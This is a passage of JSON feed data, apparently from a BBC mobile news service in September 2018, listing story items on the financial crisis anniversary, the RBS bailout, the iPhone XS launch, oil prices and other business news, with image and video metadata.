: "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45498235", "shareUrl" : "http://www.bbc.co.uk/news/business-45498235", "iStatsLabels" : { "page_type" : "correspondent-story", "cps_asset_id" : "45498235" } } }, { "eTag" : "7f4ccd2573e92e3432a22001980c68b0", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45488784", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536793287000, "site" : "/news", "name" : "How safe are my savings after the financial crisis?", "summary" : "Protection dictates how many animals migrate and so it was with savers during the financial crisis.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "How safe are my savings after the crisis?", "iStatsCounter" : "news.business.story.45488784.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/16615/production/_103396619_savings_getty.jpg", "type" : "bbc.mobile.news.image", "width" : 725, "height" : 408, "href" : "http://c.files.bbci.co.uk/16615/production/_103396619_savings_getty.jpg", "altText" : "Piggy bank with lock and chain", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/16615/production/_103396619_savings_getty.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45488784", "shareUrl" : "http://www.bbc.co.uk/news/business-45488784", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45488784" } } }, { "eTag" : "b7e1681414da76974a8ea024305a6c80", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45493147", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536793304000, "site" : "/news", "name" : "Why Asia turned to China during the global financial crisis", "summary" : "The global financial crisis had huge consequences for banks around the world, including in Asia, and accelerated China's rise.", "passport" : { "category" : { "categoryName" : "Analysis" } }, "shortName" : "How the crisis accelerated the rise of China", "iStatsCounter" : "news.business.correspondent_story.45493147.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/22D7/production/_103391980_chinatrade.jpg", "type" : "bbc.mobile.news.image", "width" : 2048, "height" : 1152, "href" : "http://c.files.bbci.co.uk/22D7/production/_103391980_chinatrade.jpg", "altText" : "Chinese port", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/22D7/production/_103391980_chinatrade.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45493147", "shareUrl" : "http://www.bbc.co.uk/news/business-45493147", "iStatsLabels" : { "page_type" : "correspondent-story", "cps_asset_id" : "45493147" } } }, { "eTag" : "c81e82c4c04e46ff19f98a3e7e2c551b", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/world-asia-china-45505522", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536816886000, "site" : "/news", "name" : "Restaurant loses $190m in value after dead rat found in soup", "summary" : "A pregnant woman in China found the boiled rat in her dish after she had taken a few bites.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Dead rat in soup costs restaurant $190m", "iStatsCounter" : "news.world.asia.china.story.45505522.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/107D4/production/_103404576_raterswr.png", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/107D4/production/_103404576_raterswr.png", "altText" : "Rat found in hotpot", "caption" : "The dead rat was fished out a pot of boiling broth", "copyrightHolder" : "Weibo", "urn" : "urn:bbc:content:assetUri:asset:prodpb/107D4/production/_103404576_raterswr.png", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/world/asia/china", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536818532000, "site" : "/news", "name" : "China", "summary" : "Get the latest Asian news from BBC News in Asia: breaking news, features, analysis and special reports plus audio and video from across the Asian continent.", "iStatsCounter" : "news.world.asia.china.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "15296724" }, "allowAdvertising" : True, "topic" : "/ldp/6892384e-1966-4c03-9ce3-f694a8f9f69e", "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/world/asia/china", "shareUrl" : "http://www.bbc.co.uk/news/world/asia/china", "eTag" : "f2212e41d31114e9ee8e078ff77f90a6" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/world-asia-china-45505522", "shareUrl" : "http://www.bbc.co.uk/news/world-asia-china-45505522", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45505522" } } }, { "eTag" : "afe3194e34729ae6aced14828c42250e", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/technology-45502465", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536783846000, "site" : "/news", "name" : "Apple iPhone XS unveiled alongside fall-detecting Watch", "summary" : "Three new iPhone models are revealed plus a fall-detecting smartwatch.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Apple unveils iPhone XS and new Watch", "iStatsCounter" : "news.technology.story.45502465.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/A73A/production/_103401824_33ca92d3-9cc3-4459-ba64-5e68883f21fd.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/A73A/production/_103401824_33ca92d3-9cc3-4459-ba64-5e68883f21fd.jpg", "altText" : "Two iPhone XS phones", "copyrightHolder" : "Apple", "urn" : "urn:bbc:content:assetUri:asset:prodpb/A73A/production/_103401824_33ca92d3-9cc3-4459-ba64-5e68883f21fd.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06l0gkj", "type" : "bbc.mobile.news.video", "duration" : 139000, "caption" : "WATCH: Hands on with new iPhone XS and XS Max", "externalId" : "p06l0ktn", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06l0lfs.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/technology", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536794943000, "site" : "/news", "name" : "Technology", "summary" : "Get the latest BBC Technology News: breaking news and analysis on computing, the web, blogs, games, gadgets, social media, broadband and more.", "iStatsCounter" : "news.technology.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059376" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/technology", "shareUrl" : "http://www.bbc.co.uk/news/technology", "eTag" : "a2f190d4fa61d4610cbb7658ec21990c" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/technology-45502465", "shareUrl" : "http://www.bbc.co.uk/news/technology-45502465", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45502465" } } }, { "eTag" : "75cf2aa4498945741c476bf915ee4feb", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45501884", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536766560000, "site" : "/news", "name" : "Oil pushes past $80 as Iran fears mount", "summary" : "The rising price of Brent oil reflects concerns about the impact of US sanctions against Iran.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Oil pushes past $80 as Iran fears mount", "iStatsCounter" : "news.business.story.45501884.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/9DCF/production/_103399304_hi047580124.jpg", "type" : "bbc.mobile.news.image", "width" : 2048, "height" : 1152, "href" : "http://c.files.bbci.co.uk/9DCF/production/_103399304_hi047580124.jpg", "altText" : "Oil well in South Texas", "copyrightHolder" : "Reuters", "urn" : "urn:bbc:content:assetUri:asset:prodpb/9DCF/production/_103399304_hi047580124.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45501884", "shareUrl" : "http://www.bbc.co.uk/news/business-45501884", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45501884" } } }, { "eTag" : "f319c5bcb1136e4532dbf4910635c813", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45500384", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536763341000, "site" : "/news", "name" : "RBS bailout 'unlikely to be recouped'", "summary" : "Chairman Sir Howard Davies says the bank was rescued to save the financial system, not as an investment.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "RBS bailout 'unlikely to be recouped'", "iStatsCounter" : "news.business.story.45500384.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/14423/production/_103397928_rbsmoneygettyimages-864993966-1.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/14423/production/_103397928_rbsmoneygettyimages-864993966-1.jpg", "altText" : "RBS cash machines", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/14423/production/_103397928_rbsmoneygettyimages-864993966-1.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45500384", "shareUrl" : "http://www.bbc.co.uk/news/business-45500384", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45500384" } } }, { "eTag" : "e3304d6c875bd3d7cc7368b31c27d01f", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45502084", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536768238000, "site" : "/news", "name" : "Hammond: 'Shock' of financial crisis still with us", "summary" : "The UK's chancellor admits peoples' incomes are suffering, but sees \"light at the end of the tunnel\".", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Hammond: Financial crisis 'shock' continues", "iStatsCounter" : "news.business.story.45502084.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/164B8/production/_103402319_mediaitem103399867.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/164B8/production/_103402319_mediaitem103399867.jpg", "altText" : "Philip Hammond", "copyrightHolder" : "Reuters", "urn" : "urn:bbc:content:assetUri:asset:prodpb/164B8/production/_103402319_mediaitem103399867.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06l08nk", "type" : "bbc.mobile.news.video", "duration" : 833000, "caption" : "Hammond: Many countries suffered worse than the UK during the crisis", "externalId" : "p06l08nn", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06l08y0.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45502084", "shareUrl" : "http://www.bbc.co.uk/news/business-45502084", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45502084" } } }, { "eTag" : "36bd5d810188ef9c8b2e671542365e80", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45505232", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536815726000, "site" : "/news", "name" : "World's largest dairy exporter posts first annual loss", "summary" : "The New Zealand co-operative said it let down farmers with overly optimistic financial forecasts.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Dairy giant Fonterra posts first loss", "iStatsCounter" : "news.business.story.45505232.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/E3E4/production/_103404385_gettyimages-1032378322-1.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/E3E4/production/_103404385_gettyimages-1032378322-1.jpg", "altText" : "Cow eating grass on a dairy farm", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/E3E4/production/_103404385_gettyimages-1032378322-1.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45505232", "shareUrl" : "http://www.bbc.co.uk/news/business-45505232", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45505232" } } }, { "eTag" : "d37015e42528c53041aa6b2a922e3385", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/world-asia-india-45492856", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536798404000, "site" : "/news", "name" : "Viewpoint: What can stop India's rupee plunge?", "summary" : "The currency's sharp fall has raised concerns that fuel prices in the country will climb.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Viewpoint: What can stop India's rupee plunge?", "iStatsCounter" : "news.world.asia.india.story.45492856.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/733A/production/_103389492_gettyimages-625464948.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/733A/production/_103389492_gettyimages-625464948.jpg", "altText" : "A man counts rupee notes", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/733A/production/_103389492_gettyimages-625464948.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/world/asia/india", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536798460000, "site" : "/news", "name" : "India", "summary" : "Get the latest Asian news from BBC News in Asia: breaking news, features, analysis and special reports plus audio and video from across the Asian continent.", "iStatsCounter" : "news.world.asia.india.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "15592104" }, "allowAdvertising" : True, "topic" : "/ldp/5a08f030-710f-4168-acee-67294a90fc75", "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/world/asia/india", "shareUrl" : "http://www.bbc.co.uk/news/world/asia/india", "eTag" : "33da66154de8fcf3f7c7ede3cac7f6e1" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/world-asia-india-45492856", "shareUrl" : "http://www.bbc.co.uk/news/world-asia-india-45492856", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45492856" } } }, { "eTag" : "474c21d5ab806a1ae8bdae02d0782861", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/business-45500664", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536822700000, "site" : "/news", "name" : "Barclay's Bob Diamond says banks 'must take risks'", "summary" : "In a wide-ranging interview Bob Diamond talks of risk, market rigging and why RBS is worse than Barclays.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Barclay's ex-boss: Banks must take risks", "iStatsCounter" : "news.business.media_asset.45500664.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/F19A/production/_103405816_mediaitem103405814.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/F19A/production/_103405816_mediaitem103405814.jpg", "altText" : "Bob Diamond", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/F19A/production/_103405816_mediaitem103405814.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.body", "content" : { "id" : "/cpsprodpb/CA8A/production/_103405815_mediaitem103405814.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "positionHint" : "full-width", "href" : "http://c.files.bbci.co.uk/CA8A/production/_103405815_mediaitem103405814.jpg", "altText" : "Bob Diamond", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/CA8A/production/_103405815_mediaitem103405814.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06kz69n", "type" : "bbc.mobile.news.video", "duration" : 295000, "caption" : "Barclays' former boss Bob Diamond defends its pre-crisis \"strong culture\"", "externalId" : "p06kz69x", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06l12cp.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45500664", "shareUrl" : "http://www.bbc.co.uk/news/business-45500664", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45500664" } } }, { "eTag" : "49326bc3f63494976bb1b56b8133d9ef", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/uk-politics-45504585", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536817039000, "site" : "/news", "name" : "Financial crisis: What's happened in the last 10 years?", "summary" : "Lasting consequences and possible future implications: BBC experts take a look at the financial crash 10 years on.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "'You'll be lucky to ever retire'", "iStatsCounter" : "news.politics.media_asset.45504585.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/BB44/production/_103404974_p06l0tsr.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/BB44/production/_103404974_p06l0tsr.jpg", "altText" : "Protesters gather outside of the New York Stock Exchange October 24, 2008 in New York City.", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/BB44/production/_103404974_p06l0tsr.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06l0cbj", "type" : "bbc.mobile.news.video", "duration" : 242000, "caption" : "Financial crisis: What's happened in the last 10 years?", "externalId" : "p06l0cbl", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06l0tsr.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/politics", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536820572000, "site" : "/news", "name" : "UK Politics", "summary" : "Get the latest BBC Politics news: breaking news, comment and analysis plus political guides and in-depth special reports on UK and EU politics.", "iStatsCounter" : "news.politics.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10067595" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/politics", "shareUrl" : "http://www.bbc.co.uk/news/politics", "eTag" : "a8d47986f7421800f5a80c400dd27cc4" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/uk-politics-45504585", "shareUrl" : "http://www.bbc.co.uk/news/uk-politics-45504585", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45504585" } } }, { "eTag" : "62a40a8ebac3ab88833d69a1c24a8370", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/business-45503767", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536793474000, "site" : "/news", "name" : "I wanted to set up the antithesis of Lehmans", "summary" : "Three former Lehman workers recall the bank going bust 10 years ago and how they've used their experiences to set up their own companies.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "'I wanted to set up the antithesis of Lehmans'", "iStatsCounter" : "news.business.media_asset.45503767.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/F7B2/production/_103401436_anil2.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/F7B2/production/_103401436_anil2.jpg", "altText" : "Anil Stocker", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/F7B2/production/_103401436_anil2.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06l03s2", "type" : "bbc.mobile.news.video", "duration" : 116000, "caption" : "'I wanted to set up the antithesis of Lehmans'", "externalId" : "p06l03s6", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06l0knw.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45503767", "shareUrl" : "http://www.bbc.co.uk/news/business-45503767", "iStatsLabels" : { "page_type" : "media-asset", "cps_asset_id" : "45503767" } } }, { "eTag" : "cae5c21f04692694f0e35329e670cc8a", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.av-stories-best", "content" : { "id" : "/cps/news/business-45503765", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.video", "language" : "en-gb", "lastUpdated" : 1536772579000, "site" : "/news", "name" : "Former Woolworths worker 'had to make sacrifices'", "summary" : "Former Woolworths employee Earl Marchan tells the BBC how the financial crisis affected him.", "passport" : { "category" : { "categoryName" : "Feature" } }, "shortName" : "Ex-Woolies worker 'had to make sacrifices'", "iStatsCounter" : "news.business.media_asset.45503765.page", "allowAdvertising" : True, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/A992/production/_103401434_p06kzzgb.jpg", "type" : "bbc.mobile.news.image", "width" : 1024, "height" : 576, "href" : "http://c.files.bbci.co.uk/A992/production/_103401434_p06kzzgb.jpg", "altText" : "Earl Marchan", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/A992/production/_103401434_p06kzzgb.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06kzyrh", "type" : "bbc.mobile.news.video", "duration" : 59000, "caption" : "Former Woolworths worker: 'I'm actually worse off than I was 10 years ago'", "externalId" : "p06kzyrk", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], 